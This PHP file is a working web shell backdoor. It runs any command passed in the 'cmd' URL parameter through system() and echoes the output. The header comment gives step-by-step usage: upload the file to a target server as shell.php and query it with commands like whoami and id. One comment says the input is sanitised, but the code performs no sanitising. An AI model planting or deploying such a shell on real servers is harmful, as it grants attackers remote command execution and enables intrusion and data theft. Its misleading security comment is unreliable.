<?php
/**
 * A simple PHP backdoor for Remote Code Execution (RCE).
 *
 * This script checks for a GET parameter named 'cmd'. If the parameter exists,
 * it executes the value of 'cmd' as a system command on the server.
 * The output of the command is then displayed on the web page.
 *
 * WARNING: This file is a significant security risk. If uploaded to a
 * web server, it allows anyone who can access it to run arbitrary commands
 * with the same permissions as the web server user (e.g., www-data).
 *
 * Usage for testing:
 * 1. Upload this file to a target web server (e.g., shell.php).
 * 2. Access it via a browser with a command:
 * http://target.com/shell.php?cmd=ls -la
 * http://target.com/shell.php?cmd=whoami
 * http://target.com/shell.php?cmd=id
 */

// Check if the 'cmd' GET parameter is set in the URL
if (isset($_GET['cmd'])) {
    // Sanitize the input to prevent some forms of injection, though the
    // purpose of this script is execution itself. In a real-world scenario,
    // never trust user input like this.
    $command = $_GET['cmd'];

    // Use the system() function to execute the command.
    // system() executes an external program and displays the output.
    // Using <pre> tags makes the output more readable in the browser.
    echo "<pre>";
    system($command);
    echo "</pre>";
} else {
    // If 'cmd' parameter is not provided, show a message.
    echo "<h1>Simple PHP RCE</h1>";
    echo "<p>Provide a command in the 'cmd' parameter.</p>";
    echo "<p>Example: ?cmd=ls</p>";
}

?>

